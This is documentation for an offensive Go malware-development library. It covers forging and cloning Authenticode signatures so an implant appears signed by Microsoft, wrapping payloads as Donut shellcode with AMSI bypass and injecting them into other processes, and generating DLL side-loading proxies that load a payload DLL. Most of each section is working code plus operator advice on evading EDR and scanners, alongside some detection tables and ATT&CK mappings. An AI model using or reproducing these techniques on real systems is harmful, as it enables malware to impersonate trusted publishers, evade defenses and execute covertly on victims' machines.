CommonName: "Microsoft Code Signing PCA 2024",
},
RootSubject: pkix.Name{
CommonName: "Microsoft Root Certificate Authority 2024",
},
// ValidFrom / ValidTo default to [now-1y, now+5y] — naive
// "is the cert still in date" checks pass for 5 years.
})
if err != nil { log.Fatal(err) }
fmt.Println("forged leaf subject:", chain.Leaf.Subject)
fmt.Println("leaf serial: ", chain.Leaf.SerialNumber)
fmt.Println("blob size: ", len(chain.Certificate.Raw), "bytes")
// Splice into the implant. cert.Write recomputes the
// optional-header CheckSum so the file remains internally
// consistent.
if err := cert.Write(`C:\loader.exe`, chain.Certificate); err != nil {
log.Fatal(err)
}
// → loader.exe Properties → Publisher: Microsoft Corporation
}
Reusing the chain: chain.Leaf, chain.LeafKey, chain.Root,
chain.RootKey are all returned so you can graft the same
identity onto multiple PEs without paying the keygen cost twice
(RSA-2048 generation takes ~30-100ms).
SignPE — actually sign your PE (real Authenticode)
Forge builds a chain but doesn't actually sign your file —
the SignedData wraps an arbitrary Content byte string (or empty
by default), not your PE's hash. signtool verify notices this
and refuses to even parse the signature ("No signature found").
SignPE closes that gap. It computes your PE's Authenticode
hash, wraps it in the Microsoft-canonical SpcIndirectDataContent,
hand-rolls a SignedData with all the right ASN.1 fields
(eContentType set to the Authenticode OID, signed attributes
including messageDigest over your hash, RSA-SHA256 signature
from a forged leaf key), and splices the result into the PE.
End result: signtool verify /pa /v loader.exe parses the
chain, prints the publisher / validity / fingerprints, and only
fails on the very last step — the trust-store walk — because the
root is self-signed:
Verifying: C:\loader.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha256): 0E9A...C6DB
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Mon May 05 10:01:40 2031
SHA1 hash: C354...9C29
Issued to: Microsoft Corporation
Issued by: Microsoft Root Certificate Authority
Expires: Mon May 05 10:01:40 2031
SHA1 hash: 464E...5DF5
SignTool Error: A certificate chain processed, but terminated in
a root certificate which is not trusted by the
trust provider.
That last error (0x800B0109) is the only difference between
this output and a fully-trusted Microsoft signature. To close it
in pure Go is impossible — you'd need a leaf cert issued by
a CA Windows already trusts (stolen from a real signer, or
purchased EV).
package main
import (
"crypto/x509/pkix"
"fmt"
"log"
"github.com/oioio-space/maldev/pe/cert"
)
func main() {
chain, err := cert.SignPE(`C:\loader.exe`, cert.SignOptions{
LeafSubject: pkix.Name{
CommonName: "Microsoft Corporation",
Organization: []string{"Microsoft Corporation"},
Country: []string{"US"},
},
RootSubject: pkix.Name{
CommonName: "Microsoft Root Certificate Authority",
},
// No IntermediateSubject → 2-tier chain (leaf + root).
// Add IntermediateSubject for the more legitimate-looking
// 3-tier shape Microsoft actually uses.
})
if err != nil { log.Fatal(err) }
fmt.Println("signed leaf: ", chain.Leaf.Subject)
fmt.Println("leaf SHA1: ", chain.Leaf.Raw[:4], "…") // truncated
fmt.Println("file CheckSum recomputed automatically by SignPE.")
}
When to choose Copy vs Forge vs SignPE:
- Copy: you have a donor PE, you want maximum cosmetic with zero crypto. Detection class: any tool that hashes the file rejects you immediately.
- Forge: no donor available, you want any "publisher" name. Same detection class as Copy plus the chain root is unknown.
- SignPE: same effort as Forge but
signtool verifyextracts the chain instead of refusing to parse — the implant looks like it was intentionally signed (just by an unknown CA). Better blend-in for tools that LOG signature details but don't enforce trust strictly.
Composed — external signer pipeline (BYO key)
When the signing key lives in a CSP / HSM / detached service,
use AuthenticodeContent
to compute just the signing input and let the external signer
take it from there.
import "github.com/oioio-space/maldev/pe/cert"
// Phase 1 helper: PE Authentihash + canonical SpcIndirectDataContent
// in one call. Pipe to signtool /sign / osslsigncode / a remote
// signing service.
spc, err := cert.AuthenticodeContent(`C:\loader.exe`)
if err != nil { panic(err) }
_ = spc
Composed — morph + cert + presence check
Layer with pe/morph so the static fingerprint is altered before
the cert is grafted on.
import (
"os"
"github.com/oioio-space/maldev/pe/cert"
"github.com/oioio-space/maldev/pe/morph"
)
raw, _ := os.ReadFile(`C:\loader.exe`)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile(`C:\loader.exe`, raw, 0o644)
_ = cert.Copy(`C:\Windows\System32\notepad.exe`, `C:\loader.exe`)
ok, _ := cert.Has(`C:\loader.exe`) // true
Advanced — round-trip donor selection
Cache the existing cert, try multiple donors, restore on burn.
import (
"os"
"github.com/oioio-space/maldev/pe/cert"
)
target := `C:\loader.exe`
_ = cert.Strip(target, `C:\old.cert`)
candidates := []string{
`C:\Windows\System32\notepad.exe`,
`C:\Program Files\Google\Chrome\Application\chrome.exe`,
`C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`,
}
for _, donor := range candidates {
_ = cert.Copy(donor, target)
// run target through the AV under test, observe verdict, decide
}
// Restore original if every candidate burned.
saved, _ := os.ReadFile(`C:\old.cert`)
_ = cert.Write(target, &cert.Certificate{Raw: saved})
See ExampleRead and
ExampleCopy.
Operational — bundled donor cert blobs
10 reference Authenticode blobs ship pre-extracted inside
pe/masquerade/donors
(snapshot date exposed as donors.SnapshotDate). Graft offline
with zero donor on disk:
import (
"github.com/oioio-space/maldev/pe/cert"
"github.com/oioio-space/maldev/pe/masquerade/donors"
)
raw, _ := donors.LoadBlob("claude") // also: cert.Write recomputes
_ = cert.Write(`implant.exe`, // the PE checksum automatically.
&cert.Certificate{Raw: raw})
Bundled IDs (each <id>.bin in pe/masquerade/donors/blobs/):
acrobat, claude, excel, explorer, firefox, msedge,
onedrive, svchost, taskmgr, vscode. Enumerate at runtime
via donors.AvailableBlobs.
Pick a donor by signer subject — donors.ParseAll
donors.ParseAll
returns the parsed Authenticode metadata for every bundled blob,
keyed by ID. Useful when the operator wants "any Microsoft signer"
rather than committing to a specific donor up-front:
import (
"strings"
"github.com/oioio-space/maldev/pe/cert"
"github.com/oioio-space/maldev/pe/masquerade/donors"
)
for id, p := range donors.ParseAll() {
if strings.Contains(p.Subject, "Microsoft Corporation") &&
p.NotAfter.After(time.Now().AddDate(1, 0, 0)) {
raw, _ := donors.LoadBlob(id)
cert.Write("implant.exe", &cert.Certificate{Raw: raw})
break
}
}
donors.ParseBlob(id)
is the single-blob counterpart for the common case.
Unbundled IDs (cmd, notepad, sevenzip, wt) — see
"Why some donors don't have bundled blobs" below.
Refresh / extend the bundled set — cmd/cert-snapshot
Authenticode roots rotate (Microsoft 2024, Adobe 2023). When a bundled blob ages out, re-run the extractor against fresh donors and overwrite the bundled files in-place:
go run ./cmd/cert-snapshot -out ./pe/masquerade/donors/blobs
# wrote pe/masquerade/donors/blobs/svchost.bin (10408 bytes) <- C:\WINDOWS\System32\svchost.exe
# wrote pe/masquerade/donors/blobs/msedge.bin (10056 bytes) <- ...msedge.exe
# wrote pe/masquerade/donors/blobs/claude.bin (10400 bytes) <- ...claude.exe
# ...
-out defaults to ./ignore/certs (gitignored work directory)
when you want a sandbox extraction without touching the bundled
set. To extend with new donors, add them to
donors.All
and re-run.
Why some donors don't have bundled blobs
cmd, notepad and most System32 binaries on Win10/11 ship
without an embedded WIN_CERTIFICATE. Their signature lives
in the system security catalog
(C:\Windows\System32\CatRoot\*.cat) — signtool verify
resolves it via the catalog at runtime, so pe/cert.Read
correctly returns ErrNoCertificate from the PE itself.
cert-snapshot's SKIP is faithful, not a bug. Cloning a
catalog-signed identity needs a different attack
(catalog poisoning / catalog hash forge) — out of scope for
pe/cert. sevenzip ships unsigned; wt lives under the
WindowsApps DACL and can't be opened.
Caveats — bundled blobs are not cryptographically valid
Same as direct cert.Copy:
the grafted signature does NOT verify under signtool verify /pa because the implant's Authenticode hash differs from the
donor's. Useful only for the cosmetic + naive-static-scanner
cases described in OPSEC below.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
signtool verify /pa <implant.exe> failure | Any defender that actually validates signatures sees a chain failure |
| Modified file size + 8-byte alignment padding | EDR file-write telemetry; unusual delta-from-known-good if the signed donor was hashed earlier |
| Cert subject / issuer mismatched against the implant's metadata (CompanyName, OriginalFilename) | Mature allowlists cross-check signer identity vs VERSIONINFO |
Naive Get-AuthenticodeSignature checking only .Status -eq 'Valid' | False-negative on the modified cert; common in homebrew scripts |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/masqueradeso the VERSIONINFO / manifest matches the donor cert's identity. - Use a donor whose subject matches the implant's apparent
purpose (PowerShell signer for a
pwsh.exelookalike, etc.). - Recompute the PE checksum if downstream tooling validates it.
- Don't deploy where signature chain validation is enforced (Defender ATP, SmartScreen, AppLocker with publisher rules).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1553.002 | Subvert Trust Controls: Code Signing | full — clone a third-party signature blob | D3-EAL, D3-SEA |
Limitations
- Signature won't verify. Cryptographic chain validation
(
signtool verify, SmartScreen, AppLocker publisher rules) catches the substitution. - Checksum recomputation handled internally.
StripandWriteboth callPatchPECheckSumafter the splice — the optional-headerCheckSumis rebuilt with the MSImageHlp!CheckSumMappedFilealgorithm so downstream verifiers that check it (rare in user-mode, mandatory for kernel drivers) see a self-consistent value. Independent callers can invokePatchPECheckSum(data)directly after their own splices. - Bundled cert blobs age.
pe/masquerade/donors/blobs/<id>.binships a snapshot taken ondonors.SnapshotDate. Authenticode roots rotate (Microsoft renewed in 2024, Adobe in 2023) — once a bundled cert's NotAfter passes or its issuer is retired, file-properties UI may hint "expired publisher". Refresh viacmd/cert-snapshot -out ./pe/masquerade/donors/blobsand commit. The blobs themselves ARE published research artefacts and may be fingerprinted by threat-intel crawlers indexing the repo — accepted trade-off for the offline-graft convenience. Forgechain fails trust-store validation.Forgebuilds a 2- or 3-tier self-signed chain wrapped in PKCS#7 SignedData with eContentType = OIDData.SignPEupgrades that to a real Authenticode-shaped SignedData (eContentType = OIDSpcIndirectDataContent, canonical SpcPEImageData, signed attributes, leaf-key signature) —signtool verify /vnow extracts the chain and reports0x800B0109"untrusted root" rather than the previous "no signature found". The remaining gap is purely the trust-store walk: a self-signed root cannot be made trusted in pure Go. Closing this gap requires a leaf cert issued by a CA Windows trusts (stolen / purchased EV) — out of scope for any pure-Go library. Two further historical gaps from the old Forge are now closed:- The signed content is not a real
SpcIndirectDataContentover the PE hash. Phase 1 of the fix shipped at v0.43.0:BuildSpcIndirectDataContent(digest, hashAlg)produces the canonical ASN.1 blob; pair withpe/parse.File.Authentihashfor the digest. Phase 2 (not yet shipped): aForgeForPE(pePath, opts)entry point that hand-rolls the outer SignedData withContentInfo.contentType = OIDSpcIndirectDataContent—secDre4mer/pkcs7doesn't expose an OID-override surface, so this needs a sibling ASN.1 marshaller. - The leaf key + chain are self-signed. Real validity needs a CA-trusted leaf key (stolen private key, purchased EV cert) — entirely out of scope; no library substitute.
- The signed content is not a real
- Validity-window mismatch. Donor certs have NotBefore / NotAfter; an implant deployed outside that window flags as expired even before the chain is checked.
See also
- PE masquerade — clone the donor's manifest + VERSIONINFO + icon to match the cert subject.
- PE strip / sanitize — pair to scrub Go-toolchain markers before/after the cert graft.
- Operator path.
- Detection eng path.
PE-to-Shellcode (Donut)
TL;DR
You have a .exe / .dll / .NET assembly / script. You want
to inject it into a remote process — but Windows expects executables
to live on disk, not as a byte buffer in memory. Donut solves this
by wrapping your payload in a tiny position-independent loader stub
that boots the payload from a flat byte buffer.
Output is always one byte slice. Pick the right entry point based on what you have:
| You have… | Use | Required Config fields | Notes |
|---|---|---|---|
.exe on disk | ConvertFile | none (auto-detected) | Easiest path. Type defaults to ModuleEXE. |
.exe in memory (decrypted in-process) | ConvertBytes | Type = ModuleEXE | No disk artefacts — payload never lands. |
.dll on disk | ConvertDLL | Method = "ExportName" | Donut calls this export instead of an entry point. |
.dll in memory | ConvertDLLBytes | Type = ModuleDLL, Method | Same as above, in-memory. |
| .NET EXE | ConvertFile | Type = ModuleNetEXE | Donut hosts the CLR in-process — no .NET install on disk needed. |
| .NET DLL | ConvertFile | Type = ModuleNetDLL, Class, Method | Donut calls Class.Method() after loading. |
| VBS / JS / XSL | ConvertFile | Type = ModuleVBS/ModuleJS/ModuleXSL | Built-in mshta-equivalent runs the script. |
Final output goes into any inject/
primitive — CreateRemoteThread, APC, ThreadHijack, etc.
Primer — vocabulary
Three terms that recur on this page:
Position-Independent Code (PIC) — code that runs correctly regardless of where it lands in memory. A normal
.exehas hardcoded addresses ("call function at virtual address 0x1000") that only work when loaded at a specific base. PIC uses relative offsets ("call function 0x100 bytes ahead") so it works at any address. Donut's loader stub IS PIC; the payload wrapped inside doesn't need to be (the stub fixes it up at load time).Reflective loader — code that performs the work normally done by Windows's PE loader (parse headers, allocate memory, apply relocations, resolve imports, call entry point) but from inside the target process, on a payload that was never on disk. Donut's stub is a textbook reflective loader.
AMSI / WLDP — Anti-Malware Scan Interface and Windows Lockdown Policy. Both are user-mode hooks Microsoft inserts into script hosts (PowerShell, JScript, VBScript) and the .NET runtime to scan strings + assemblies before execution. Donut can patch them out in-process before loading the payload (
Bypassfield).
How It Works
The flow has two halves: build-host conversion (left), runtime execution after injection (right):
How It Works
sequenceDiagram
participant Caller
participant Donut as "srdi (go-donut)"
participant Stub as "Loader stub<br>(in-memory)"
participant Payload as "PE / .NET / Script"
Caller->>Donut: ConvertFile(path, cfg)
Donut->>Donut: Parse + classify input
Donut->>Donut: Compress payload bytes
Donut->>Donut: Embed AMSI / WLDP bypass
Donut->>Donut: Attach PIC loader stub
Donut-->>Caller: shellcode []byte
Note over Caller,Stub: After injection into target process
Stub->>Stub: PIC bootstrap (locate self)
Stub->>Stub: AMSI / WLDP patch (configurable)
Stub->>Stub: Decompress payload
Stub->>Payload: Map sections + relocate + resolve imports
Payload->>Payload: Call entry point
Generated shellcode layout:
[ PIC Donut loader stub ] ← position-independent x64 / x86 / x84
[ embedded config block ] ← Arch, Bypass, Method, Class, Params
[ compressed payload ] ← original PE / .NET / script bytes
Input format matrix
| Format | Type constant | Class required | Method required |
|---|---|---|---|
| Native EXE | ModuleEXE | — | — |
| Native DLL | ModuleDLL | — | export name |
| .NET EXE | ModuleNetEXE | — | — |
| .NET DLL | ModuleNetDLL | yes | yes |
| VBScript | ModuleVBS | — | — |
| JScript | ModuleJS | — | — |
| XSL | ModuleXSL | — | — |
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/srdi is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Quick start — your first shellcode (read this one)
You have a Go-built payload.exe and you want to inject it into
another process. The shortest end-to-end path is two function
calls: srdi.ConvertFile to wrap your EXE in a Donut stub, then
any inject.* primitive to run the resulting bytes inside a
target process.
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/pe/srdi"
)
func main() {
// Step 1: wrap the EXE. DefaultConfig assumes ModuleEXE +
// x64 + AMSI bypass-on-fail. ConvertFile auto-detects
// from the file extension when cfg.Type is zero.
sc, err := srdi.ConvertFile("payload.exe", srdi.DefaultConfig())
if err != nil { log.Fatal(err) }
fmt.Printf("payload.exe → %d bytes of shellcode (Donut stub + payload)\n", len(sc))
// → payload.exe (148 KB) → 154112 bytes of shellcode
// Step 2: pick an injection method + target. Spawn notepad to
// have a clean target PID.
icfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, 0)
icfg.SpawnSacrificial = "notepad.exe" // injector spawns + uses its PID
inj, err := inject.NewWindowsInjector(icfg)
if err != nil { log.Fatal(err) }
if err := inj.Inject(sc); err != nil { log.Fatal(err) }
fmt.Println("payload running inside the spawned notepad.exe")
}
What just happened:
srdi.ConvertFileparsedpayload.exe, compressed it, and prepended Donut's PIC loader stub. The result is a flat byte buffer that runs the payload regardless of where it's mapped in memory.inject.NewWindowsInjectorallocated executable memory in the target, wrote the shellcode there, and kicked execution viaCreateRemoteThread.- The Donut stub bootstrapped your EXE in the target process — parsed its PE headers, applied relocations, resolved imports, called its entry point.
What still trips defenders: Donut's loader stub has a known byte
pattern (Defender, MDE, CrowdStrike all carry signatures). See
OPSEC for hardening (crypto encryption,
sleep masking, sleep+RX flip).
Simple — convert a native EXE (one-liner)
For when you don't need the explanation:
import "github.com/oioio-space/maldev/pe/srdi"
shellcode, _ := srdi.ConvertFile("payload.exe", srdi.DefaultConfig())
DLL with named export
DLLs differ from EXEs in one critical way: they don't have a single entry point, they expose a table of exports the loader can call. Donut needs to know which export to invoke after loading.
import "github.com/oioio-space/maldev/pe/srdi"
cfg := srdi.DefaultConfig()
cfg.Type = srdi.ModuleDLL
cfg.Method = "ReflectiveLoader" // export name, must exist in the DLL
shellcode, err := srdi.ConvertDLL("payload.dll", cfg)
if err != nil { /* dll missing export, malformed, etc. */ }
If the export takes parameters, set cfg.Parameters to a
space-separated string ("arg1 arg2 'arg with spaces'"). Donut
parses this argv-style and pushes the values onto the stack
before calling.
.NET DLL + class.method invocation
.NET DLLs are even more structured: every callable lives in a
specific class. Donut hosts the CLR in-process and invokes
exactly one Class.Method() after loading the assembly.
import "github.com/oioio-space/maldev/pe/srdi"
cfg := &srdi.Config{
Type: srdi.ModuleNetDLL,
Class: "Loader.Stub", // namespace.Type, case-sensitive
Method: "Run", // method name on Class, case-sensitive
Bypass: 3, // continue if AMSI patch fails
}
sc, _ := srdi.ConvertFile("loader.dll", cfg)
Bypass values:
- 1 — Skip: don't even try to patch AMSI. Use when you know AMSI isn't watching (older Windows, Defender disabled).
- 2 — Abort on fail: patch and refuse to load if patching fails. Use when stealth matters more than execution (an unpatched AMSI WILL log your assembly).
- 3 — Continue on fail: patch and load anyway if patching
fails. Default in
DefaultConfig. Pragmatic for ops where failure to patch usually means "AMSI isn't there to log us anyway".
Advanced — dual-mode shellcode + indirect syscalls + remote target
Combines several knobs: dual-arch output (runs on both x86 and x64 hosts so you don't need to know the target architecture ahead of time), indirect-syscall injection (each NTAPI call resolves its SSN at runtime instead of using the linked stub), specific target PID instead of spawning.
import (
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/pe/srdi"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
cfg := &srdi.Config{
Arch: srdi.ArchX84, // dual x86 + x64
Type: srdi.ModuleNetDLL,
Class: "Loader.Stub",
Method: "Run",
Bypass: 3,
}
sc, _ := srdi.ConvertFile("loader.dll", cfg)
icfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, targetPID)
icfg.SyscallMethod = wsyscall.MethodIndirect // bypass userland hooks
inj, _ := inject.NewWindowsInjector(icfg)
_ = inj.Inject(sc)
Trade-off of ArchX84: doubles the loader stub size (both x86
and x64 versions present), so YARA-style scanners get two
signature surfaces to match instead of one. Pick ArchX64 (or
ArchX32) when target architecture is known.
ExampleConvertBytesfor the godoc-attached versions.
When to choose ConvertFile vs ConvertBytes vs ConvertDLL
| You're staging from… | Function | Why |
|---|---|---|
A .exe you wrote to disk | ConvertFile | Auto-detects Type from extension. Simplest. |
| A payload your build pipeline decrypted in memory | ConvertBytes | Avoids ever writing the cleartext payload to disk — important when EDR file-write telemetry is the threat. |
A .dll on disk needing a specific export | ConvertDLL | Same as ConvertFile but pins Type=ModuleDLL so you can't forget. |
A .dll decrypted in memory | ConvertDLLBytes | Same combination as ConvertBytes + DLL. |
A .NET / script | ConvertFile only | Auto-detection works for these too; in-memory equivalents not exposed (Donut needs the on-disk form for these formats). |
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Donut loader stub byte signature | YARA / memory scanners — Defender, MDE, CrowdStrike all carry Donut signatures by default |
| RWX page allocation in target | Behavioural EDR — Donut's mini-loader writes then executes; RWX is the canonical "shellcode" tell |
| AMSI / WLDP patch ranges in lsass / current process | Microsoft-Windows-Threat-Intelligence ETW provider |
.NET assembly load events without a corresponding .exe on disk | ETW Microsoft-Windows-DotNETRuntime; Defender flags managed runtime hosting from non-managed processes |
Sustained LoadLibraryW / GetProcAddress from a freshly-allocated region | EDR API correlation |
D3FEND counters:
Hardening for the operator:
- Encrypt the shellcode with
cryptobefore the injector writes it to RWX — the stub stays detectable but only after the implant has staged. - Use
inject's sleep-mask + indirect syscall combination so the stub bytes are absent from memory between callbacks. - Avoid
ArchX84unless dual-mode is genuinely required — the larger blob carries both x86 + x64 signatures.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: Dynamic-link Library Injection | partial — produces shellcode for downstream injection (consumer side) | D3-PA |
| T1620 | Reflective Code Loading | full — Donut loader stub is a textbook reflective loader | D3-FCA, D3-PA |
Limitations
- Detectable stub. Donut's loader carries a known byte pattern; signature-based YARA + memory scans flag it.
- RWX allocation. The mini PE loader writes and then executes — RWX is the canonical shellcode tell.
- No built-in obfuscation. Stub bytes are not encrypted by
default; pair with
crypto+ sleep masking. - Windows payloads only. Shellcode generation runs cross-platform; the produced shellcode targets Windows.
- +5–10% size overhead. Donut compresses the input but adds the loader stub; expect modest growth.
Credits
- Binject/go-donut — pure-Go Donut port (vendored).
- TheWover/donut — original C reference.
- monoxgas/sRDI — sRDI technique that inspired Donut.
See also
inject— execution surface for the produced shellcode.crypto— payload encryption pre-conversion.evasion/sleepmask— hide the stub between callbacks.- Operator path.
- Detection eng path.
DLL Proxy Generator
MITRE ATT&CK: T1574.001 — DLL Search Order Hijacking · T1574.002 — DLL Side-Loading D3FEND: D3-PFV — Process File Verification Detection level: very-quiet (offline emitter)
TL;DR
You found a DLL-hijack opportunity (a victim program loads
X.dll from a path you can write). To exploit it you need a
working X.dll that:
- Exports everything the victim expects (otherwise it crashes on first call to a missing export).
- Forwards those calls to the real
X.dll(otherwise the victim breaks). - Optionally runs your payload.
Historically this required hand-coding C++ + linker pragmas +
an MSVC toolchain, OR shipping a pre-built proxy and hoping
the export set matches. pe/dllproxy makes it a single Go
function call — pure-Go emitter, runs on Linux, no toolchain.
Pick the mode based on what you need:
| You want… | Set | Effect |
|---|---|---|
| Pure forwarder (testing the hijack works without delivering a payload yet) | Options.PayloadDLL = "" | Single .rdata section, no DllMain. Once loaded, invisible at runtime — the real target executes as if loaded directly. |
| Forwarder + payload load | Options.PayloadDLL = "evil.dll" | Adds .text with a 32-byte x64 stub: LoadLibraryA("evil.dll") on DLL_PROCESS_ATTACH. Your payload runs ONCE on load; forwarding handles the rest. |
What this DOES achieve:
- Victim loads your DLL → your payload runs → all subsequent victim calls forward transparently.
- No toolchain on the build host. Pure Go, cross-compiles from Linux.
- The forwarder uses
\\.\GLOBALROOT\SystemRoot\System32\<target>.<export>— absolute path that doesn't recurse into your proxy even when both DLLs share a directory.
What this does NOT achieve:
- Doesn't find the hijack opportunity — pair with
recon/dllhijackfor the discovery side. - Doesn't list the target's exports — pair with
pe/parse.Open(target).Exports(). - Detectable on disk — the forwarder string set + 32-byte
stub are static signatures defenders can YARA on. Pair with
pe/strip+pe/certto muddy the static fingerprint.
Primer — vocabulary
Five terms recur on this page:
DLL hijack / side-load — a victim program loads a DLL by name from a search path that includes a directory the operator can write to. The operator drops a malicious DLL with the matching name; the victim loads it instead of the legitimate one.
Forwarder export — a DLL export entry whose
AddressOfFunctions[i]value points at a STRING (not at code). The string format is"OtherDLL.OtherExport"or"\\path\\to\\OtherDLL.OtherExport". The Windows loader recognises this by checking if the value falls inside theIMAGE_DIRECTORY_ENTRY_EXPORTrange — if yes, it's a string to follow, not code to call.GLOBALROOT trick — using
\\.\GLOBALROOT\SystemRoot\System32\X.dllas the forwarder target.GLOBALROOTis the NT object manager root;SystemRootresolves toC:\Windows. The combination is an absolute path that bypasses the search order entirely — guaranteed to find the realX.dll, never the proxy itself even when both share the victim's directory.DllMain — a DLL's optional entry point Windows calls on load (
DLL_PROCESS_ATTACH), unload (DLL_PROCESS_DETACH), and thread create/exit.pe/dllproxyuses it ONLY in payload-load mode — the entry point is a 32-byte stub thatLoadLibraryA(payload)and returns TRUE.Perfect proxy — the term
mrexodia/perfect-dll-proxycoined for proxies that reliably handle every export with the right ABI without recursion. The GLOBALROOT trick is the "perfect" part: forwarders to a relativetarget.exportwould loop into your own proxy.
flowchart LR
A["recon/dllhijack.ScanXxx"] --> B["[]Opportunity"]
B --> C["pe/parse.Open(target).Exports()"]
C --> D["[]string export names"]
D --> E["pe/dllproxy.Generate(target, exports, opts)"]
E --> F["[]byte proxy DLL"]
F --> G["os.WriteFile(opp.HijackedPath, …)"]
G --> H["Victim loads → forwards → real target executes"]
style E fill:#94a,color:#fff
How It Works
The forwarder-only mode produces a minimal PE32+ image with a single .rdata section. No .text, no .idata, AddressOfEntryPoint = 0 — Windows accepts this layout (a DLL with no entry point loads silently without invoking DllMain, per the PE spec).
The payload-load mode adds a .text section with the DllMain stub, an import directory in .rdata referencing kernel32!LoadLibraryA, and the payload-name string the stub feeds to LoadLibraryA.
File layout
+0x000 DOS header (60 bytes) e_lfanew = 0x40
+0x040 PE signature "PE\0\0"
+0x044 COFF File Header (20) Machine = 0x8664, NumberOfSections = 1
+0x058 Optional Header PE32+ (240) Magic = 0x20B, ImageBase = 0x180000000,
AddressOfEntryPoint = 0,
DllCharacteristics = NX_COMPAT
+0x148 Section Header (40) ".rdata", flags 0x40000040
+0x170 pad zero to FileAlignment 0x200
+0x200 .rdata content
.rdata content (RVA = 0x1000)
+0 IMAGE_EXPORT_DIRECTORY (40)
+40 AddressOfFunctions[N] uint32 each — RVA into the same .rdata,
pointing at a forwarder string
+40+4N AddressOfNames[N] uint32 — RVA to export name string
+40+8N AddressOfNameOrdinals[N] uint16 — identity map (i → i)
+40+10N DLL name string "<targetName>\0"
… forwarder strings "\\.\GLOBALROOT\SystemRoot\System32\target.dll.<export>\0"
… export name strings "<export>\0"
Forwarder detection
The Windows loader detects a forwarder by RVA range: an export is a forwarder iff its AddressOfFunctions[i] value falls inside the IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress … +Size range. The emitter sizes the data directory to span the entire .rdata content, so every forwarder string sits inside the range automatically.
Sorting
Windows performs a binary search on AddressOfNames when resolving exports by name. The emitter sorts the input list alphabetically before laying out the tables — AddressOfNameOrdinals[i] is always i, the identity map.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/dllproxy is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — bake a proxy for version.dll
import (
"os"
"github.com/oioio-space/maldev/pe/dllproxy"
"github.com/oioio-space/maldev/pe/parse"
)
f, _ := parse.Open(`C:\Windows\System32\version.dll`)
exports, _ := f.Exports()
proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{})
_ = os.WriteFile(`C:\writable\dir\version.dll`, proxy, 0o644)
ExportsFromBytes — one-shot named-export extraction
func ExportsFromBytes(peBytes []byte) ([]Export, error)
Parses a target DLL's bytes via pe/parse.FromBytesFast and
returns its named exports already shaped for GenerateExt /
packer.PackProxyDLL. Ordinal-only entries are skipped (the
forwarder emitter currently only builds <target>.<name>
strings). Empty result is non-fatal — the caller decides.
dll, _ := os.ReadFile(`C:\Vulnerable\fakelib.dll`)
exports, err := dllproxy.ExportsFromBytes(dll)
if err != nil {
log.Fatal(err)
}
proxy, _ := dllproxy.GenerateExt("fakelib", exports, dllproxy.Options{})
End-to-end consumer:
examples/privesc-dll-hijack (Mode 10
re-reads fakelib.dll from the target post-drop so an operator
could swap it for any DLL between runs).
Composed — find an opportunity and bake a matching payload
opps, _ := dllhijack.ScanAll(nil)
for _, opp := range opps {
f, err := parse.Open(opp.LegitimatePath)
if err != nil { continue }
exports, _ := f.Exports()
f.Close()
proxy, err := dllproxy.Generate(opp.MissingDLL, exports, dllproxy.Options{})
if err != nil { continue }
_ = os.WriteFile(opp.HijackedPath, proxy, 0o644)
}
32-bit targets (MachineI386)
Setting Options.Machine = dllproxy.MachineI386 switches the emitter to PE32 output for hijacking legacy WOW64 victims. The forwarder-only path produces a 224-byte optional header (vs 240 for PE32+), IMAGE_FILE_32BIT_MACHINE in the COFF flags, ImageBase 0x10000000, and a 32-bit BaseOfData.
The Phase 2 payload-load path swaps the AMD64 stub for a 28-byte x86 stdcall stub:
mov eax, [esp+8] ; reason
cmp eax, 1 ; DLL_PROCESS_ATTACH
jne ret_true
push <payload_str_abs>
call dword ptr [<iat_abs>]
ret_true:
mov eax, 1
ret 0Ch ; stdcall: pop 3*4 bytes of args
x86 has no RIP-relative addressing, so the stub embeds absolute virtual addresses (ImageBase + RVA). The emitter keeps IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE off, so the loader honours the embedded ImageBase and the absolutes resolve correctly.
out, err := dllproxy.Generate("version.dll", exports, dllproxy.Options{
Machine: dllproxy.MachineI386,
PayloadDLL: "implant32.dll",
})
Mixed named + ordinal-only exports
Some Windows DLLs (msvcrt, ws2_32, comctl32 in legacy comdlg roles) ship a substantial fraction of exports as ordinal-only — they appear in IMAGE_EXPORT_DIRECTORY.AddressOfFunctions but have no entry in AddressOfNames. Proxying these targets requires the loader to find the right slot when a victim imports target.dll!#42 instead of target.dll!Foo.
import (
"github.com/oioio-space/maldev/pe/dllproxy"
"github.com/oioio-space/maldev/pe/parse"
)
f, _ := parse.Open(`C:\Windows\System32\msvcrt.dll`)
entries, _ := f.ExportEntries() // []parse.Export with Name+Ordinal+Forwarder
mapped := make([]dllproxy.Export, len(entries))
for i, e := range entries {
mapped[i] = dllproxy.Export{Name: e.Name, Ordinal: e.Ordinal}
}
proxy, _ := dllproxy.GenerateExt("msvcrt.dll", mapped, dllproxy.Options{})
The emitter:
- Sorts entries by ordinal ascending.
- Sets
Base = lowest_ordinal,NumberOfFunctions = highest_ordinal − Base + 1. Sparse slots (ordinals not present in input) leave theirAddressOfFunctionsentry zero — the loader treats those as "not exported at this ordinal", same as a real DLL. - Emits forwarder strings in the form
<target>.<name>for named entries and<target>.#<ordinal>for ordinal-only. - Builds
AddressOfNamesfrom the named subset only, sorted alphabetically (loader binary search).
